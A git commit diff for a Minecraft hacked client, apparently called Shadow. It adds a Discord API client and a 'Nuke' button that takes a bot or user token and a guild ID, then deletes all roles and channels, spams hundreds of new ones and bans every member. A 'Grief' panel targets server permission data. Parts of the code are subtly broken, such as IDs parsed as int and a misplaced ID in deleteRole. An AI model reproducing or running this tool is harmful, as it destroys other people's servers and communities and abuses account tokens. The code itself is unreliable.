mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
http wrapper, discord client, nuke screen, other improvements
This commit is contained in:
parent
6ff38e60ac
commit
efeecc0de4
6 changed files with 453 additions and 8 deletions
|
@ -69,6 +69,7 @@ public class CommandRegistry {
|
|||
private static final List<Command> vanillaCommands = new ArrayList<>();
|
||||
private static final List<CustomCommandEntry> customCommands = new ArrayList<>();
|
||||
private static final List<Command> sharedCommands = new ArrayList<>();
|
||||
private static final List<Command> consoleCommands = new ArrayList<>();
|
||||
|
||||
static {
|
||||
// TODO: 18.12.21 add commands
|
||||
|
@ -99,6 +100,16 @@ public class CommandRegistry {
|
|||
}
|
||||
}
|
||||
|
||||
public static void buildConsoleCommands(){
|
||||
consoleCommands.addAll(sharedCommands);
|
||||
|
||||
//consoleCommands.add();
|
||||
}
|
||||
|
||||
public static List<Command> getConsoleCommands() {
|
||||
return consoleCommands;
|
||||
}
|
||||
|
||||
public static void init() {
|
||||
vanillaCommands.clear();
|
||||
vanillaCommands.add(new Toggle());
|
||||
|
@ -156,6 +167,7 @@ public class CommandRegistry {
|
|||
vanillaCommands.add(new RandomBook());
|
||||
|
||||
rebuildSharedCommands();
|
||||
buildConsoleCommands();
|
||||
}
|
||||
|
||||
public static List<Command> getCommands() {
|
||||
|
@ -193,6 +205,27 @@ public class CommandRegistry {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
public static void executeConsole(String command) {
|
||||
String[] spl = command.split(" +");
|
||||
String cmd = spl[0].toLowerCase();
|
||||
String[] args = Arrays.copyOfRange(spl, 1, spl.length);
|
||||
Command c = CommandRegistry.getConsoleByAlias(cmd);
|
||||
if (c == null) {
|
||||
Utils.Logging.error("Command \"" + cmd + "\" not found");
|
||||
} else {
|
||||
try {
|
||||
c.onExecute(args);
|
||||
} catch (CommandException cex) {
|
||||
Utils.Logging.error(cex.getMessage());
|
||||
if (cex.getPotentialFix() != null) Utils.Logging.error("Potential fix: " + cex.getPotentialFix());
|
||||
} catch (Exception e) {
|
||||
Utils.Logging.error("Error while running command " + command);
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Command getByAlias(String n) {
|
||||
for (Command command : getCommands()) {
|
||||
for (String alias : command.getAliases()) {
|
||||
|
@ -204,6 +237,17 @@ public class CommandRegistry {
|
|||
return null;
|
||||
}
|
||||
|
||||
public static Command getConsoleByAlias(String n) {
|
||||
for (Command command : getConsoleCommands()) {
|
||||
for (String alias : command.getAliases()) {
|
||||
if (alias.equalsIgnoreCase(n)) {
|
||||
return command;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
record CustomCommandEntry(Addon addon, Command command) {
|
||||
}
|
||||
}
|
||||
|
|
|
@ -72,7 +72,7 @@ public class ConsoleScreen extends ClientScreen implements FastTickable {
|
|||
return;
|
||||
}
|
||||
addLog(new LogEntry("> " + cmd, BACKGROUND));
|
||||
CommandRegistry.execute(cmd);
|
||||
CommandRegistry.executeConsole(cmd);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -127,14 +127,14 @@ public class ConsoleScreen extends ClientScreen implements FastTickable {
|
|||
args = args1;
|
||||
}
|
||||
if (args.length > 0) {
|
||||
Command c = CommandRegistry.getByAlias(cmd);
|
||||
Command c = CommandRegistry.getConsoleByAlias(cmd);
|
||||
if (c != null) {
|
||||
a = List.of(c.getSuggestionsWithType(args.length - 1, args).getSuggestions());
|
||||
} else {
|
||||
return new ArrayList<>(); // we have no command to ask -> we have no suggestions
|
||||
}
|
||||
} else {
|
||||
for (Command command1 : CommandRegistry.getCommands()) {
|
||||
for (Command command1 : CommandRegistry.getConsoleCommands()) {
|
||||
for (String alias : command1.getAliases()) {
|
||||
if (alias.toLowerCase().startsWith(cmd.toLowerCase())) {
|
||||
a.add(alias);
|
||||
|
|
|
@ -6,18 +6,25 @@ package net.shadow.client.feature.module.impl.render;
|
|||
|
||||
import com.mojang.brigadier.suggestion.Suggestion;
|
||||
import com.mojang.brigadier.suggestion.Suggestions;
|
||||
|
||||
import net.minecraft.client.util.GlfwUtil;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
|
||||
import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.play.GameMessageS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.config.BooleanSetting;
|
||||
import net.shadow.client.feature.config.StringSetting;
|
||||
import net.shadow.client.feature.gui.clickgui.element.Element;
|
||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.BooleanSettingEditor;
|
||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor;
|
||||
import net.shadow.client.feature.gui.panels.PanelsGui;
|
||||
import net.shadow.client.feature.gui.panels.elements.PanelButton;
|
||||
import net.shadow.client.feature.gui.panels.elements.PanelFrame;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.shadow.client.helper.discord.DiscordClient;
|
||||
import net.shadow.client.helper.event.EventType;
|
||||
import net.shadow.client.helper.event.Events;
|
||||
import net.shadow.client.helper.event.events.PacketEvent;
|
||||
|
@ -25,6 +32,9 @@ import net.shadow.client.helper.util.Utils;
|
|||
|
||||
import java.util.Arrays;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public class ToolsScreen extends Module {
|
||||
|
||||
|
@ -34,6 +44,15 @@ public class ToolsScreen extends Module {
|
|||
boolean alt = false;
|
||||
PanelsGui menu = null;
|
||||
|
||||
BooleanSetting ban = new BooleanSetting.Builder(false).name("Ban Members").get();
|
||||
BooleanSetting roles = new BooleanSetting.Builder(false).name("Nuke roles").get();
|
||||
BooleanSetting channels = new BooleanSetting.Builder(false).name("Nuke channels").get();
|
||||
|
||||
|
||||
BooleanSetting isSelfbot = new BooleanSetting.Builder(false).name("Is Selfbot").get();
|
||||
StringSetting token = new StringSetting.Builder("").name("Token").get();
|
||||
StringSetting guild = new StringSetting.Builder("").name("Guild ID").get();
|
||||
|
||||
public ToolsScreen() {
|
||||
super("ToolsScreen", "The tools screen", ModuleType.RENDER);
|
||||
Events.registerEventHandler(EventType.PACKET_RECEIVE, packet2 -> {
|
||||
|
@ -110,9 +129,9 @@ public class ToolsScreen extends Module {
|
|||
|
||||
@Override
|
||||
public void enable() {
|
||||
if (menu == null) {
|
||||
if (true) {
|
||||
menu = new PanelsGui(new PanelFrame[]{
|
||||
new PanelFrame(100, 100, 250, 190, "Grief", new Element[]{
|
||||
new PanelFrame(100, 100, 250, 170, "Grief", new Element[]{
|
||||
new PanelButton(0, 0, -1, "Delete LP Data", () -> {
|
||||
packetinputmode = "lp";
|
||||
enabled = true;
|
||||
|
@ -144,8 +163,49 @@ public class ToolsScreen extends Module {
|
|||
enabled = true;
|
||||
ShadowMain.client.player.sendChatMessage("/rg list");
|
||||
})
|
||||
}),
|
||||
new PanelFrame(500, 100, 250, 125, "Discord", new Element[]{
|
||||
new StringSettingEditor(0, 0, 240, token),
|
||||
new StringSettingEditor(0, 30, 240, guild),
|
||||
new PanelButton(0, 65, -1, "Nuke", () -> {
|
||||
new Thread(() -> {
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
|
||||
try{
|
||||
int guildId = Integer.valueOf(guild.getValue());
|
||||
DiscordClient client = new DiscordClient(token.getValue(), isSelfbot.getValue());
|
||||
if(roles.getValue()){
|
||||
for(int role : client.getRoles(guildId)){
|
||||
pool.execute(() -> client.deleteRole(guildId, role));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
for(int i = 0; i < 250; i++){
|
||||
pool.execute(() -> client.createRole(guildId, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}
|
||||
if(channels.getValue()){
|
||||
for(int channel : client.getChannels(guildId)){
|
||||
pool.execute(() -> client.deleteChannel(channel));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
for(int i = 0; i < 500; i++){
|
||||
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}
|
||||
if(ban.getValue()){
|
||||
for(int member : client.getMembers(guildId)){
|
||||
pool.execute(() -> client.banMember(guildId, member));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}
|
||||
}catch(Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
}).start();
|
||||
}),
|
||||
})
|
||||
});
|
||||
});
|
||||
}
|
||||
ShadowMain.client.setScreen(menu);
|
||||
this.setEnabled(false);
|
||||
|
|
|
@ -0,0 +1,157 @@
|
|||
package net.shadow.client.helper.discord;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.http.HttpResponse;
|
||||
|
||||
import com.google.gson.JsonArray;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonParser;
|
||||
|
||||
import net.shadow.client.helper.http.HttpWrapper;
|
||||
|
||||
public class DiscordClient {
|
||||
String token = "";
|
||||
HttpWrapper requests = new HttpWrapper();
|
||||
|
||||
public DiscordClient(String token, boolean isBot){
|
||||
if(isBot){
|
||||
this.token = "Bot " + token;
|
||||
}else{
|
||||
this.token = token;
|
||||
}
|
||||
}
|
||||
|
||||
public int[] getGuilds() throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getChannels(int guildId) throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getDmChannels() throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getRoles(int guildId) throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getMembers(int guildId) throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
|
||||
public int deleteChannel(int channelId){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.delete("https://discord.com/api/v9/channels/" + channelId, "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
public int createChannel(int guildId, int type, String name){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\""+name+"\", \"permission_overwrites\":[], \"type\":\""+type+"\"}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
public int sendMessage(int channelid, String content, String embed){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{'content':'"+content+"'', 'embeds':["+embed+"]}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
public int banMember(int guildId, int userId){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{'delete_message_days':0}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
public int createRole(int guildId, String name){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{'name':'"+name+"'}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
public int deleteRole(int guildId, int roleId){
|
||||
try {
|
||||
HttpResponse<String> req;
|
||||
req = requests.delete("https://discord.com/api/v9/guilds/"+roleId+"/roles", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
184
src/main/java/net/shadow/client/helper/http/HttpWrapper.java
Normal file
184
src/main/java/net/shadow/client/helper/http/HttpWrapper.java
Normal file
|
@ -0,0 +1,184 @@
|
|||
package net.shadow.client.helper.http;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URI;
|
||||
import java.net.http.*;
|
||||
import java.net.http.HttpClient.*;
|
||||
import java.time.Duration;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
|
||||
public class HttpWrapper {
|
||||
|
||||
final HttpClient client = HttpClient.newBuilder()
|
||||
.version(HttpClient.Version.HTTP_1_1)
|
||||
.followRedirects(HttpClient.Redirect.ALWAYS)
|
||||
.connectTimeout(Duration.ofSeconds(20))
|
||||
.build();
|
||||
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
|
||||
|
||||
public HttpWrapper(){
|
||||
|
||||
}
|
||||
|
||||
public HttpResponse<String> get(String uri, String... headers) throws IOException, InterruptedException{
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().GET().setHeader("User-Agent", "MoleHttp/1.0");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
}
|
||||
|
||||
public void getAsync(String uri, String... headers){
|
||||
pool.execute(() -> {
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().GET().setHeader("User-Agent", "MoleHttp/1.0");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
|
||||
try {
|
||||
client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public HttpResponse<String> post(String uri, String data, String... headers) throws IOException, InterruptedException{
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().POST(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
}
|
||||
|
||||
public void postAsync(String uri, String data, String... headers){
|
||||
pool.execute(() -> {
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().POST(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
|
||||
try {
|
||||
client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public HttpResponse<String> delete(String uri, String... headers) throws IOException, InterruptedException{
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().DELETE().setHeader("User-Agent", "MoleHttp/1.0");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
}
|
||||
|
||||
public void deleteAsync(String uri, String... headers){
|
||||
pool.execute(() -> {
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().DELETE().setHeader("User-Agent", "MoleHttp/1.0");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
try {
|
||||
client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public HttpResponse<String> put(String uri, String data, String... headers) throws IOException, InterruptedException{
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().PUT(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
}
|
||||
|
||||
public void putAsync(String uri, String data, String... headers){
|
||||
pool.execute(() -> {
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().PUT(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
try {
|
||||
client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public HttpResponse<String> patch(String uri, String data, String... headers) throws IOException, InterruptedException{
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().method("PATCH", HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
}
|
||||
|
||||
public void patchAsync(String uri, String data, String... headers){
|
||||
pool.execute(() -> {
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder().method("PATCH", HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
|
||||
builder.uri(URI.create(uri));
|
||||
for(String header : headers){
|
||||
String[] parsedheader = header.split(":");
|
||||
builder.setHeader(parsedheader[0], parsedheader[1]);
|
||||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
try {
|
||||
client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
}
|
|
@ -386,7 +386,7 @@ public class Utils {
|
|||
public static void message0(String n, Color c) {
|
||||
LiteralText t = new LiteralText(n);
|
||||
t.setStyle(t.getStyle().withColor(TextColor.fromRgb(c.getRGB())));
|
||||
if (ShadowMain.client.player != null) ShadowMain.client.player.sendMessage(t, false);
|
||||
if (ShadowMain.client.player != null) if(!(ShadowMain.client.currentScreen instanceof ConsoleScreen)) ShadowMain.client.player.sendMessage(t, false);
|
||||
// if (c.equals(Color.WHITE)) c = Color.BLACK;
|
||||
ConsoleScreen.instance().addLog(new ConsoleScreen.LogEntry(n, c));
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue